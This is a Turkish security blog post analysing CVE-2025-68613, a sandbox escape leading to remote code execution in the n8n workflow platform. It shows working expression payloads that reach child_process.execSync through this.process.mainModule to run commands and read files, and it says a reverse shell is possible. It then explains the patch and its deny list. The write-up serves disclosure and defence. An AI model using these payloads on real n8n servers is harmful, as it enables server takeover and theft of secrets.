Skip to content
Siber Vatan

CVE-2025-68613: n8n'de Kimlik Doğrulamalı Uzaktan Kod Çalıştırma (RCE) ​

Selim Soylu · @Selim-Soylu

Yağız Eren Kotan · @yagizdll

Bu yazıda n8n iş akışı otomasyon platformunda tespit edilen ve CVSS 9.9 ile en üst kritiklik seviyesinde derecelendirilen CVE-2025-68613 zafiyetini inceliyoruz. Zafiyetin ne olduğundan, hedef ortamın yapısına, tetiklenme adımlarından payload ile sistem üzerinde komut çalıştırmaya kadar tüm süreci kendi test ortamımızda adım adım gösteriyoruz.

CVE-2025-68613 Nedir? ​

n8n, kullanıcıların görsel bir arayüz üzerinden iş akışları (workflow) oluşturup otomasyonlar kurmasına imkân veren düşük kodlu (low-code) bir platform. CVE-2025-68613, bu platformda kimliği doğrulanmış kullanıcıların sunucu üzerinde keyfi kod çalıştırmasına izin veren kritik bir zafiyet.

Zafiyetin kritiklik derecesinin bu kadar yüksek olmasının sebebi, sömürülmesinin nispeten kolay olması ve başarılı bir sömürü sonucunda saldırganın sunucuyu tamamen ele geçirebilmesi. Zafiyet n8n'in 0.211.0 sürümünden itibaren mevcut ve yamanın uygulandığı 1.120.4, 1.121.1 ve 1.122.0 sürümlerinden önceki tüm sürümleri etkiliyor.

Zafiyet, CWE sınıflandırmasında CWE-913: Improper Control of Dynamically-Managed Code Resources (Dinamik Olarak Yönetilen Kod Kaynaklarının Yetersiz Kontrolü) kategorisine giriyor. Bunun sebebi, kullanıcı tarafından girilen expression ifadelerinin yeterince izole edilmeden (sandbox dışına taşacak şekilde) çalıştırılabiliyor olması.

AlanDeğer
CVSS v3.1 Skoru9.9 (Kritik)
CVSS VektörüCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-913 (Improper Control of Dynamically-Managed Code Resources)

Etkilenen Sürümler ​

Resmi danışma kaydında (advisory) iki ayrı etkilenen sürüm aralığı listeleniyor:

Sürüm DalıEtkilenen SürümlerGüvenli (Yamalı) Sürüm
Kararlı dal>= 0.211.0, < 1.120.41.120.4
1.121.x>= 1.121.01.121.1

1.120.4, 1.121.1 ve 1.122.0 sürümlerinin tümü bu sorunu düzeltmiştir; resmi açıklama 1.122.0 veya üzeri sürüme yükseltmeyi önerir, çünkü bu sürüm ifade değerlendirmesini kısıtlamak için ek koruma önlemleri getirmiştir.

Bilgi

Yukarıdaki tabloda CNA (GitHub) tarafından verilen 9.9 (Kritik) skoru esas alınmıştır. Ancak NVD kendi değerlendirmesinde kapsam değişikliği olmadığı (S:U) gerekçesiyle 8.8 (HIGH) skoru vermektedir. İki skor arasındaki fark, yalnızca S:C / S:U vektör bileşeninden kaynaklanmaktadır; zafiyetin ciddiyeti her iki değerlendirmede de yüksektir.

n8n üzerinde örnek bir workflow ekranı

Bilgi

Bu yazıda yer alan tüm testler, izole bir Docker konteyneri içinde kurulmuş kendi laboratuvar ortamımızda (n8n_vulnerable_lab) gerçekleştirilmiştir.

Hedef Ortam: n8n Paneli ​

n8n, kullanıcıların iş akışlarını tasarladığı ve düğüm (node) ayarlarını düzenlediği görsel bir editör sunuyor. Zafiyet tam olarak bu arayüzde, kullanıcıların düğüm parametrelerine dinamik ifadeler ekleyebilmesi üzerinden tetikleniyor. Bu özellik normalde iş akışlarını esnek hale getirmek için var, ama aynı zamanda saldırganlar için ana giriş noktasını oluşturuyor.

Hedef n8n paneli - AI Agent workflow editörü

Panele giriş yapabilmek için önce bir sahip (owner) hesabı oluşturmak gerekiyor:

n8n ilk kurulum - owner hesabı oluşturma

Hesap oluşturulduktan sonra karşımıza çıkan genel bakış panelinden yeni bir iş akışı oluşturabiliyoruz:

n8n genel bakış paneli

Zafiyetin Tetiklenmesi ​

Sisteme yüklenecek payload, Node.js'in process ve child_process modüllerini kullanarak işletim sistemi komutlarını çalıştırmayı hedefliyor. Bunu n8n arayüzünden eklenen bir workflow içinde manuel tetikleyici (manual trigger) ve Edit Field düğümü ile çalıştırıyoruz.

Manuel tetikleyici ve Edit Fields düğümünden oluşan basit workflow

Payload Ekleme ​

Edit Fields düğümü üzerinden aşağıdaki ifadeyi bir alana yazıyoruz:

javascript
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

Bu ifade çalıştırıldığında, uygulamayı çalıştıran kullanıcının id çıktısının görüntülenebildiğini gözlemliyoruz. Bu, sunucu üzerinde komut çalıştırabildiğimizin doğrudan bir kanıtı.

Edit Fields üzerinden payload çalıştırma ve id çıktısının görülmesi

Dosya Okuma ​

Zafiyeti bir adım ileri taşıyıp dosya sistemine erişimi test etmek için Docker konteynerinin içinde bir test dosyası oluşturuyoruz:

bash
docker exec -it n8n_vulnerable_lab /bin/sh
echo "Selim Soylu - RCE Test Basarili! (CVE-2025-68613)" > /tmp/soylu.txt
cat /tmp/soylu.txt

Docker konteyneri içinde test dosyasının oluşturulduğunun doğrulanması

Ardından aynı payload'ı execSync içeriğini cat /tmp/soylu.txt olacak şekilde değiştirerek Edit Fields üzerinden tekrar tetikliyoruz:

javascript
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /tmp/soylu.txt').toString() })() }}

Çıktıda dosyanın içeriğinin eksiksiz şekilde döndüğünü görüyoruz. Yani edit field üzerinden tetiklemelerle, komutu değiştirmek dışında herhangi bir ek adıma gerek kalmadan dosya sistemine okuma erişimi sağlanabiliyor. Aynı yöntem kullanılarak bir ters kabuk (reverse shell) bile elde edilebiliyor.

Edit Fields üzerinden /tmp/soylu.txt dosyasının okunması

Açık Nasıl Kapatıldı? ​

Sorunun kaynağı: this ​

JavaScript'te normal bir function, bir nesneye bağlı olmadan çağrıldığında (strict mode dışında) this değeri global nesneyi gösterir. Node.js'te global nesne de process'e erişim demektir. Yani expression içine yazılan şöyle masum görünen bir ifade:

js
{{ (function() { return this.process.env })() }}

sandbox'ın dışındaki gerçek process nesnesine ulaşıp sunucunun ortam değişkenlerini okuyabiliyordu. Oradan da process üzerindeki modül yükleme mekanizmalarına uzanarak sunucuda kod çalıştırmak mümkün hale geliyordu.

n8n'in mevcut korumaları (PrototypeSanitizer gibi) __proto__ veya constructor gibi tehlikeli property erişimlerini engelliyordu, ama this üzerinden global nesneye ulaşma yolunu hesaba katmıyordu. Patch tam olarak bu boşluğu kapatıyor.

1. Altyapı: ast-types yükseltmesi ​

Patch önce ast-types kütüphanesini 0.15.2'den 0.16.1'e yükseltiyor. Bu kütüphane JavaScript kodunun AST'sini (soyut sözdizimi ağacı) oluşturmaya ve üzerinde gezinmeye yarıyor.

diff
// packages/workflow/package.json
-  "ast-types": "0.15.2",
+  "ast-types": "0.16.1",

// package.json (kök)
   "overrides": {
+    "ast-types": "0.16.1",

Kök package.json'daki overrides, dolaylı bağımlılıklar dahil tüm projede tek bir sürümün kullanılmasını zorunlu kılıyor. Yeni sanitizer AST'yi yeniden yazarak çalıştığı için bu tutarlılık önemli.

Yeni sürümde klasör yapısı değiştiğinden expression-extension.ts'deki bir tip import'u da güncellenmiş:

diff
- import type { ExpressionKind } from 'ast-types/gen/kinds';
+ import type { ExpressionKind } from 'ast-types/lib/gen/kinds';

Bunlar güvenlik düzeltmesinin kendisi değil, sıradaki adımlar için zemin hazırlığı.

2. Sanitizer'ı motora bağlamak ​

n8n'in expression motoru Tournament, bir ifadeyi çalıştırmadan önce AST'ye çevirir ve bu ağaç üzerinde "hook" adı verilen dönüşümleri uygular. Hook'lar iki gruba ayrılır: before (motorun kendi dönüşümlerinden önce) ve after (sonra).

diff
 // expression-evaluator-proxy.ts
 const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
-	before: [],
+	before: [FunctionThisSanitizer],
 	after: [PrototypeSanitizer, DollarSignValidator],
 });

Patch öncesinde before listesi boştu. Şimdi buraya yeni FunctionThisSanitizer ekleniyor. Böylece kullanıcının yazdığı kod, herhangi bir işlemden geçmeden önce ilk olarak bu sanitizer tarafından düzenleniyor.

3. Asıl düzeltme: FunctionThisSanitizer ​

Patch'in kalbi expression-sandboxing.ts dosyasına eklenen bu fonksiyon. Fikri basit: Kullanıcının yazdığı her normal function'ın this değerini, global nesne yerine zararsız bir nesneye sabitlemek.

Zararsız bağlam: EMPTY_CONTEXT ​

ts
const EMPTY_CONTEXT = b.objectExpression([
	b.property('init', b.identifier('process'), b.objectExpression([])),
]);

Bu, AST olarak { process: {} } nesnesini temsil ediyor. Fonksiyonların this'i artık bu nesneyi gösterecek. İçine boş bir process konmasının nedeni şu: this.process.env gibi bir ifade hata fırlatmak yerine sessizce undefined dönüyor ve gerçek process'e hiçbir şekilde ulaşamıyor.

Durum 1: Hemen çağrılan fonksiyonlar (IIFE) ​

Sanitizer, AST'de bir fonksiyon çağrısı gördüğünde çağrılan şeyin doğrudan bir function ifadesi olup olmadığına bakıyor. Öyleyse çağrıyı .call() ile yeniden yazıyor:

js
// Önce
(function(x) { return x * 2; })(5)

// Sonra
(function(x) { return x * 2; }).call({ process: {} }, 5)

.call() ilk argümanı this olarak kullandığı için fonksiyon artık global nesneye değil, EMPTY_CONTEXT'e bağlanıyor. Diğer argümanlar olduğu gibi aktarılıyor.

Durum 2: Callback olarak verilen fonksiyonlar ​

Fonksiyon hemen çağrılmıyor, örneğin map'e callback olarak veriliyorsa, ne zaman ve nasıl çağrılacağı belli değil. Bu durumda .bind() kullanılıyor:

js
// Önce
[1, 2, 3].map(function(n) { return n * 2; })

// Sonra
[1, 2, 3].map((function(n) { return n * 2; }).bind({ process: {} }))

.bind() ile oluşturulan fonksiyonun this'i kalıcı olarak sabitlenir. Sonradan kim, nasıl çağırırsa çağırsın değişmez.

İç içe fonksiyonlar ​

Her iki durumda da kod dönüştürmeden önce this.traverse(path) çağırıyor. Bu, ağacın önce en içteki düğümlerinin işlenmesini sağlıyor (depth-first). Böylece iç içe yazılmış fonksiyonların hiçbiri atlanmıyor. Sonrasında dönen return false ise yeni oluşturulan düğümün tekrar ziyaret edilip sonsuz döngüye girilmesini engelliyor.

İsimli fonksiyonlar da desteklendiği için function factorial(n) { ... } gibi kendini çağıran (recursive) ifadeler sorunsuz çalışmaya devam ediyor. Arrow function'lar (() => ...) ise zaten kendi this'lerini oluşturmadığı için bu dönüşüme ihtiyaç duymuyor.

4. İkinci savunma hattı: yasaklı property listesi ​

utils.ts içindeki unsafeObjectProperties listesi, PrototypeSanitizer'ın erişimi engellediği property isimlerini tutuyor. Patch bu listeye üç yeni isim ekliyor:

diff
 const unsafeObjectProperties = new Set([
 	'__proto__',
 	'prototype',
 	'constructor',
 	'getPrototypeOf',
+	'mainModule',
+	'binding',
+	'_load',
 ]);

Bu üç property, Node.js'te modül yüklemeye ve düşük seviyeli native bileşenlere erişmeye açılan kapılar:

  • mainModule: process.mainModule üzerinden uygulamanın ana modülüne ve onun require fonksiyonuna ulaşılabilir.
  • binding: process.binding, Node.js'in dahili native modüllerine doğrudan erişim sağlar.
  • _load: Node'un modül sisteminin dahili yükleme fonksiyonudur.

Bu değişiklik, bir saldırgan bir şekilde process'e benzer bir nesneye ulaşsa bile ondan kod çalıştırmaya giden yolları kapatmayı amaçlıyor. Yani FunctionThisSanitizer kapıyı kapatıyor, bu liste de kapı bir şekilde aralanırsa diye arkasına bir kilit daha ekliyor.

Sonuç ​

Patch, sorunu iki katmanda ele alıyor:

  1. Kaynakta engelleme: FunctionThisSanitizer, normal fonksiyonların this üzerinden global nesneye ulaşmasını AST seviyesinde, kod daha çalışmadan önce engelliyor.
  2. Derinlemesine savunma: Yasaklı property listesi genişletilerek Node.js'in modül yükleme mekanizmalarına giden yollar ayrıca kapatılıyor.

this artık kullanıcının kontrolü dışında, güvenli bir nesneye bağlı. Bu yaklaşım, kullanıcıların mevcut expression'larını bozmadan (recursive fonksiyonlar, callback'ler, $json gibi workflow değişkenlerine erişim) açığı kapatmayı başarıyor.

n8n'i kendi sunucunuzda çalıştırıyorsanız, kullandığınız sürüm dalına göre en az 1.120.4, 1.121.1 veya 1.122.0 sürümüne yükseltmeniz öneriliyor.

Kaynakça ​

CVE-2025-68613 İçin Kaynakça